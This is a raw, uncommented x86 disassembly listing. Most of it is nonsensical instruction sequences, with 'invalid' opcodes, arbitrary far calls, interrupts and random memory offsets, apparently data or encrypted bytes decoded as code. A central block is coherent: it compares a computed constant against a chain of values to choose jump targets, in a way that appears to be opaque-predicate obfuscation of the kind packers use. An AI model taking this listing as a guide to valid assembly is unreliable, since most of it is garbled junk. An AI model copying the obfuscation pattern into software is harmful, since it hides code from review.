sub ecx, dword [eax - 0x3e24e4ca]
cwde
xor dh, 0x7a
mov dl, 0x11
test dword [ebx], ebp
mov byte [esi], dh
sbb ebx, ebx
rcr dword [eax - 0x4d850980], 0x11
test dword cs:[ebx - 0x59117234], esi
aad 0xd1
jle 0x6e6e6b1b
sar dword [esi - 0x18], 1
mov ecx, 0xa17dbd9e
jne 0x6e6e6b13
mov esp, 0xf7ae4ae8
lds esp, [ebp - 0x1ba0941b]
mov byte [0xa3e0e8c9], al
popal
movsb byte es:[edi], byte [esi]
push esi
xchg esi, eax
jb 0x6e6e6b30
pushfd
invalid
pop eax
sub ah, al
push 0xffffffffffffffb5
xor esi, ebp
aad 0x24
inc edi
push ebp
lcall 0x17f3, 0xc4eec6f5
jg 0x6e6e82c5
or byte [edi], bl
xor byte [ebp - 0x1e], 0x45
mov ah, 0x7f
fisub word [esi + 0x7fd1ad0c]
xchg ecx, eax
invalid
nop
je 0x6e6e8312
int 0x87
pop edi
retf
mov bl, 0xb5
push ebx
xor dword es:[ecx - 0x6f823370], edi
ja 0x6e6e82c5
jnp 0x6e6e8362
invalid
push ds
out dx, eax
shl dl, cl
xor eax, 0x229683d9
sub dword [edx + 0x20], edi
rcr dword [0x3939caf6], 1
mov ecx, 0x9247db52
lds edx, [edx]
jecxz 0x6e6e8321
cwde
std
aas
ljmp 0xa256
nop
jmp 0x6e6e99c4
nop
nop
mov dword [ebp - 0x138], 0x36895
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x140], 0xdd204
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x140]
mov edx, dword [ebp - 0x13c]
sub eax, dword [ebp - 0x138]
sbb edx, dword [ebp - 0x134]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x148]
xor eax, 0xf3e00
or eax, dword [ebp - 0x144]
je 0x6e6eb2ea
mov edx, 0xf3e00
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x6e6f3fb7
mov eax, dword [ebp - 0x148]
xor eax, 0xf083d
or eax, dword [ebp - 0x144]
je 0x6e6f2842
mov edx, 0xf083d
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x6e6f3fb7
mov eax, dword [ebp - 0x148]
xor eax, 0xdbd65
or eax, dword [ebp - 0x144]
je 0x6e6ee1da
mov edx, 0xdbd65
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x6e6f3fb7
mov eax, dword [ebp - 0x148]
xor eax, 0xd8f85
or eax, dword [ebp - 0x144]
je 0x6e6eca62
mov edx, 0xd8f85
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x6e6f3fb7
mov eax, dword [ebp - 0x148]
xor eax, 0xa696f
or eax, dword [ebp - 0x144]
je 0x6e6f3fba
mov edx, 0xa696f
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x6e6f3fb7
mov eax, dword [ebp - 0x148]
xor eax, 0x94584
or eax, dword [ebp - 0x144]
je 0x6e6f10ca
mov edx, 0x94584
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x6e6f3fb7
mov eax, dword [ebp - 0x148]
xor eax, 0x16e0d
or eax, dword [ebp - 0x144]
je 0x6e6e9b72
mov eax, dword [ebp - 0x148]
xor eax, 0x41106
or eax, dword [ebp - 0x144]
je 0x6e6ef952
jmp 0x6e6f3fb7
lcall 0x6bb7, 0x117c9521
cdq
push esi
ret
aam 0xf3
int1
cmp eax, edx
jp 0x6e6eb301
invalid
sub al, 0xa
int3
mov cl, 0x73
invalid
pop esi
and al, 0x78
xor al, 0x90
int3
add byte [ecx + 0x10], bl
xor al, 0x61
pop ecx
adc byte [ecx], dh
salc
pushal
mov al, byte [0x572cdcc9]
inc edx
mov dword [0x2c494adf], eax
movsd dword es:[edi], dword [esi]
arpl bx, dx
mov edx, 0x2e2733c3
xlatb
jl 0x6e6ee1cf
aam 0xcc
mov al, bh
xor byte [esi + 0x6fa0e9fc], ah
mov cl, 0xd9
cmp edi, dword [edx]
adc ebp, ecx
xchg byte [edi - 0x12], cl
pop edi
into
xor eax, 0xdf64c361
jbe 0x6e6ee24b
std
push 0x3392f9be
je 0x6e6ee282
invalid
or al, 0xc8
inc esp
lodsd eax, dword [esi]
xor ecx, esp
mov byte [ebp + 0x63], bl
into
stosb byte es:[edi], al
and al, 0x59
pop es
cmp dword [edi + 0x6737a824], ebp
pop esi
aas
xchg edx, eax
je 0x6e6ee1d9
out dx, al
add dh, bl
inc eax
mov eax, dword [0xd5b4e02a]
and al, 0xa
mov al, byte [0xfcaeb1b9]
dec ecx
mov ecx, 0x49fcaeb1
add esp, dword [ebx - 0x5fd79e7d]
sub dword [esi], ebx
cmpsd dword [esi], dword es:[edi]
shr dword [ebp - 0x37600adf], cl
adc eax, 0xec7a12e4
pushal
loope 0x6e6ee2b6
mov edx, 0xe5f62212
stc
or dword [esi], edx
push cs
jnp 0x6e6ee2ba
dec eax
stc
mov al, byte [0x3871b5aa]
jle 0x6e6ee221
jns 0x6e6ee2a2
add dh, byte [edi]
lahf
jg 0x6e6ee2d2
iretd
mov al, byte [ebx]
mul dl
test al, 0x79
xchg ebx, eax
push esp
std
dec edi
bound esp, qword [ebx - 0x17]
ja 0x6e6ee271
clc
mov eax, 0xb5561508
xor al, byte [ebx - 0x65]
xchg esi, eax
xor al, 0x59
xor byte [eax - 0x22], 0x36
fidiv word [esi]
shl dword [esp + edi*4], 0x90
int3
push edi
xor esi, dword [ebx + 0x59]
popfd
push cs
push ebp
sub dl, byte [edi + 0xa324d4d]
add dword [edx + ecx*8], esi
daa
jl 0x6e6ee2ce
jmp 0x6e6ee27f
push ecx
mov ebp, 0x84e12e9e
loope 0x6e6ee258
arpl word [ebp + eax*2 + 2], cx
add ebp, dword [esi - 0x7c]
fucomi st(4)
jbe 0x6e6ee2e6
push edx
scasb al, byte es:[edi]
cmp dh, byte [ebx + 6]
test al, 0xc2
jl 0x6e6ee33c
and byte [ebx + 2], ah
fiadd word [ebx + ebp*8]
retf 0x6b2d
pop eax
mov al, byte [0xdf09bdd6]
pop edi
sbb byte [ecx], dh
push ebx
and al, 0xa2
insd dword es:[edi], dx
or dword [edx + 0x516ddf83], esi
add dword [ebx + 0x5730b8f], eax
push esp
invalid
invalid
invalid
into
xchg esp, eax
popfd
shr ch, 1
and ebp, dword [ebx + 0x1a960009]
invalid
mov eax, 0x36d18526
dec eax
inc esp
sti
sub eax, 0x555f5b60
push ds
in al, 0x1c
add dword [edx + 0x85b53d9], eax
jp 0x6e6f27d7
and ecx, 0xffffffcf
or al, 0x62
adc byte [esi - 0x5f], ch
cmp byte [eax + 0x1779e9cc], dl
add byte [eax], al
sub al, 0x90
xor dword [edx - 0x36], ebp
jns 0x6e6f284b
sub bh, dl
jb 0x6e6f27d7
inc eax
and cl, 0x9a
adc cl, byte [0x87d5e6a8]
ja 0x6e6f2819
ret 0x2100
nop
jmp 0x6e6f3fbb
nop
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret 0xc